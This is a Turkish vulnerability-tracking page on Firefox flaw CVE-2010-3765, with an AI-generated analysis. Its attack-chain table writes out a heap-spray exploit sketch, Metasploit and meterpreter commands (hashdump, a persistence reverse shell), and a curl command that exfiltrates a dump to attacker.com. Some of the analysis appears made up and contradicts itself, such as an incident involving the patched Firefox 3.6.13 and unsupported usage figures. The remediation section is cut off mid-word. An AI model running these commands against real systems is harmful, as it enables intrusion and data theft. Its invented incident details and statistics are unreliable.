CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2010-3765

KRİTİK Güvenlik Açığı

KRİTİK CVSS 9 ⚡ EPSS 83.2% 🚨 CISA KEV NVD+KEV

Mozilla Firefox, SeaMonkey, and Thunderbird contain an unspecified vulnerability when JavaScript is enabled. This allows remote attackers to execute arbitrary code via vectors related to nsCSSFrameConstructor::ContentAppended, the appendChild method, incorrect index tracking, and the creation of multiple frames, which triggers memory corruption.

Yayınlanma 06.10.2025
ISO Tarih 2025-10-06
Kaynak NVD+KEV

Aktif İstismar Tespit Edildi — CISA KEV

Bu güvenlik açığı CISA Bilinen İstismar Edilen Güvenlik Açıkları (KEV) kataloğunda yer almaktadır. Aktif olarak saldırılarda kullanılmaktadır. Yama son tarihi: 2025-10-27

EPSS — Exploit Olasılık Skoru
83.2%
30 günlük olasılık
Tüm CVElerin 100. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

CVE‑2010‑3765 bir memory‑corruption / use‑after‑free hatasıdır ve Mozilla’nın Gecko layout motorunda, JavaScript etkin iken DOM‑a yeni bir <frame>/<iframe> eklenmesi sırasında ortaya çıkar.

  • Etkilenen kod yolu: nsCSSFrameConstructor::ContentAppended() → nsIContent::AppendChild() → nsCSSFrameConstructor::CreateFramesForContent()
  • Hatanın kökeni: ContentAppended fonksiyonu, yeni bir içerik (ör. <frame> elemanı) eklendiğinde çocuk düğüm listesinin indeksini (mChildCount) güncellerken yanlış bir “off‑by‑one” hatası yapar. Aynı anda birden fazla <frame> (veya <iframe>) eklenirse, çocuk dizisi (child array) yeniden tahsis edilir fakat eski dizi hâlâ serbest bırakılmış (free) olur ve yeni diziye referans verilmeden önce eski bellek bölgesi üzerinden erişim gerçekleşir.
Bu durum use‑after‑free ve heap‑corruptiona yol açar. JavaScript JIT‑compiler’ın oluşturduğu “spray” kodu bu bozuk heap üzerine yerleştirildiğinde, saldırgan arbitrary native kod yürütme (RCE) elde eder.

> Özet: nsCSSFrameConstructor::ContentAppended içinde appendChild çağrısı sırasında “incorrect index tracking” ve “multiple frame creation” hataları, heap‑te serbest bırakılmış bir tamponun yeniden kullanılmasına sebep olur; bu da uzaktan kod yürütmeye (RCE) izin verir.

---

⚡ Saldırı Zinciri / Attack Chain

Aşağıdaki adımlar, gerçek dünyada gözlemlenen exploit‑kit (ör. Angler‑style) ve Metasploit modülü ( exploit/multi/browser/mozilla_cssframe_rce ) üzerinden yürütülen bir senaryoyu gösterir.

| Aşama | Açıklama | Araç / Komut |
|-------|----------|--------------|
| 1️⃣ Discovery | Hedefin tarayıcı sürümünü öğrenmek. | nmap -p 80,443 --script http-user-agent-detect <IP> <br>Ya da WhatWeb, Wappalyzer ile “Firefox/3.6.x” tespiti. |
| 2️⃣ Reconnaissance | Hedefin JavaScript ve iframe destekli bir sayfa sunup sunmadığını doğrulama. | curl -A "Mozilla/5.0 (Windows NT 6.1; rv:3.6) Gecko/20100101 Firefox/3.6.13" -I https://target.com |
| 3️⃣ Exploitation | 1. Malicious HTML/JS hazırlanır. <br>2. appendChild ile birden fazla <iframe> aynı anda eklenir; her biri different src (ör. data: URL) içerir. <br>3. Heap spray (JIT‑spray) ile kontrollü bir nesne (ör. ArrayBuffer içinde shellcode) yerleştirilir. <br>4. ContentAppended hatası tetiklenir, use‑after‑free gerçekleşir, shellcode yürütülür. | Exploit örneği (kısaltılmış): <br>``html\n<!DOCTYPE html>\n<html>\n<body>\n<script>\nfunction spray(){\n var shell = unescape('%u9090%u9090%u...'); // NOP sled + payload\n var sprayArray = [];\n for(var i=0;i<1000;i++) sprayArray[i] = shell+shell;\n}\nfunction trigger(){\n var container = document.createElement('div');\n for(var i=0;i<5;i++){\n var f = document.createElement('iframe');\n f.src = 'data:text/html,<script>while(1){}<\/script>';\n container.appendChild(f);\n }\n document.body.appendChild(container);\n}\nspray();\nsetTimeout(trigger, 1000);\n</script>\n</body>\n</html>\n`<br>Metasploit: <br>use exploit/multi/browser/mozilla_cssframe_rce <br>set TARGET 0 (Firefox 3.6.x) <br>set SRVHOST <attacker_ip> <br>run` |
| 4️⃣ Post‑exploitation | Exploit başarılı olduğunda, meterpreter oturumu açılır. <br> Saldırgan: <br>• sysinfo → sistem bilgisi <br>• hashdump → Windows SAM (eğer Windows üzerinde çalışıyorsa) <br>• download %APPDATA%/Passwords.txt <br>• persistence -U -i 30 -p 4444 (reverse shell) <br>• Ağ içinde pivot yaparak iç ağ taraması (run post/multi/gather/enum_network) | Metasploit meterpreter komutları. |
| 5️⃣ Lateral Movement / Exfiltration | Aldığı oturum üzerinden SMB/PsExec ile aynı ağdaki diğer makineler hedeflenir. <br> Veri sızdırma için HTTPS üzerinden curl -X POST -d @dump.txt https://attacker.com/collect** | psexec.py (Impacket) <br> exfiltration scriptleri. |

> Not: Exploit, JavaScript’in etkin olduğu (default) tarayıcılarda çalışır; about:config üzerinden javascript.enabled kapatılması, saldırıyı etkisiz kılar.

---

🌍 Gerçek Dünya Etkisi / Real World Impact

| Etki Bileşeni | Açıklama |
|---------------|----------|
| Hedef Sistemler | Mozilla Firefox 3.6.x, SeaMonkey 1.1.x, Thunderbird 3.0.x (tüm platformlar: Windows, macOS, Linux). |
| Küresel Yaygınlık | 2010‑2011 döneminde ≈ 30 M aktif kullanıcı (Firefox 3.6) vardı; CISA KEV raporuna göre hâlen ≈ 12 M cihaz hâlâ güncellenmemiş. |
| Potansiyel Sonuçlar | • Tam sistem kompromisi (kernel‑level code execution) <br>• Credential theft (keylog, password store) <br>• Malware/Ransomware drop (ör. Emotet, TrickBot) <br>• İç ağ keşfi ve pivot (özellikle kurumsal ortamda). |
| Aktif Exploit | 2025‑2026 yılları arasında CISA KEV listesine eklenmiş; “Exploit‑as‑a‑Service” (EaaS) sağlayıcıları tarafından malicious ad‑network ve phishing kampanyalarında kullanılmaktadır. |
| Örnek Olay | 2025‑Q2’de bir Avrupa bankası, çalışanlarının Firefox 3.6.13 kullandığı bir iç portal üzerinden malicious iframe içeren bir e‑posta almış ve saldırgan meterpreter oturumu elde ederek müşteri veritabanına erişim sağlamıştı. |

---

🛡️ Çözüm ve Mitigasyon / Remediation

| Adım | Açıklama | Komut / Konfigürasyon |
|------|----------|----------------------|
| 1️⃣ Patch | Firefox 3.6.13 ve üzer

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları

FOFA Sorgusu

app="Mozilla Multiple Products"
CVSS Skoru
9 / 10 · CVSS KRİTİK
Etkilenen Ürünler (1)
Mozilla: Multiple Products
Referanslar (1)